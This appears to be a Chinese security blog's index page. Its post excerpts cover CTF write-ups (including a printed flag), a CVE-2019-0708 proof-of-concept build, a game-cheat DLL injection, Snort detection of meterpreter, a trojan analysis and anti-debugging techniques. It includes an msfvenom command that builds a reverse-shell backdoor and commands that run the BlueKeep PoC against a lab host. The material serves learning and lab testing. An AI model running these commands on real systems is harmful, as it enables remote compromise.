攻防世界PWN高手进阶区

dice_game

溢出+随机数

攻防世界PWN新手练习区题目

get_shell

直接nc连接cat flag即可:

1
cyberpeace{d1070f116850587b8304cd1aa55565e6}

Linux动态链接库.so的生成与使用

用到以下三个文件,为以后展开相关攻击过程做铺垫。

main.c

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <unistd.h>

int print_test();

int main(){
while(1){
print_test();
sleep(5);
}
}

Pwnable.kr_Part_1_15/21

Pwnable.kr-BlackJack-逻辑漏洞

游戏代码在这里:https://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html

查看代码发现代码量很多,以为很复杂,但静下心看一下发现其实很简单,大部分代码用来实现游戏逻辑,获取flag的条件是成为百万富翁,就是使自己的余额大于一百万,游戏规则介绍中也说了,不要试着真去赌,因为每一把都是随机的,很可能一夜回到解放前,因此要寻找题目中的漏洞,按照经验,这种题出现漏洞可能是整数溢出或者是数据校验不严格,然后我发现题目中对用户输入赌注的地方缺乏负数校验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int betting() //Asks user amount to bet
{
printf("\n\nEnter Bet: $");
scanf("%d", &bet);

if (bet > cash) //If player tries to bet more money than player has
{
printf("\nYou cannot bet more money than you have.");
printf("\nEnter Bet: ");
scanf("%d", &bet);
return bet;
}
else return bet;
} // End Function

CS1.6DLL注入外挂

研究外挂只是想学一下r0,r3攻防对抗,不干坏事,乖巧.jpg

这一次做一下锁血

首先常规操作获取血量地址:

CVE-2019-0708

漏洞验证

复现环境:

攻击机:Kali Linux(Windows子系统)

目标主机:Windows 7 SP1 64位

准备环境|Poc下载/编译

1
2
3
4
5
6
7
8
9
sudo apt install dh-autoreconf
sudo apt install libssl-dev
sudo apt install libx11-dev
git clone https://github.com/zerosum0x0/CVE-2019-0708.git
cd CVE-2019-0708/rdesktop-fork-bd6aa6acddf0ba640a49834807872f4cc0d0a773/
./bootstrap
./configure --disable-credssp --disable-smartcard
make
./rdesktop 192.168.1.7:3389

开源网络入侵检测系统-Snort实战

Snort是一个开源的网络入侵检测系统,根据官方文档简单地学习了一下使用方法之后试一下实战应用,实战对象就是大名鼎鼎的meterpreter。

安装Snort

安装Snort的方法网上有教程,因此就不多说了,最简单的方法就是apt-get。

Kali启动!

用Kali Linux中的msfvenom生成一个后门程序:

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.60.130 LPORT=6666 -f elf > shell.elf

远程控制木马分析报告

样本主体分析18xxxxxxxxxxxxxxxxxxxxxxxxxxxxx.EXE

样本基本信息:

属性
Filename 18xxxxxxxxxxxxxxxxxxxxxxxxxxxxx.EXE
MD5 b9b34748f958c31e12ae3741f728be99
SHA-1 a806386497e280612eadbe87e2104550c95ab617
File Type Win32 EXE
Magic MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
SSDeep 12288:DKGk6+Tjk6PQEAEd0bpkRgNyPBODdgVRX6Tw:Dz+TwNE0NfcAT
File Size 467.39 KB

静态分析

18xxxxxxxxxxxxxxxxxxxxxxxxxxxxx.EXE

WallpaperEngine资源提取

有时在WallpaperEngine中发现自己喜欢的静态壁纸想将其中图片从包文件提取出来的话直接在Kali Linux中运行命令:

1
foremost 包文件

在output文件夹中可以看到提取出来的内容。

Windows反调试实现与绕过姿势汇总

调试器检测

PEB相关

BeingDebugged

BeingDebugged是位于PEB(Process Environment Block,进程环境块)偏移0x2处的标志。

IsDebuggerPresent()

IsDebuggerPresent()是Windows的API,这个函数通过查询PEB中的BeingDebugged标志来判断当前进程是否处于被调试状态。

NtGlobalFlag

NtGlobalFlag位于PEB的0x068h处,如果BeingDebugged被设置为TRUE,则NtGlobalFlag的值为70h。

CheckRemoteDebuggerPresent()

CheckRemoteDebuggerPresent( )与IsDebuggerPresent( )类似,同为Windows API,可以直接调用,CheckRemoteDebuggerPresent()实际调用了NtQueryInformationProcess(),查询某个进程的ProcessDebugPort即系统与调试器通信的端口句柄,CheckRemoteDebuggerPresent()通过查询这个值来确定程序是否处于调试状态。

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×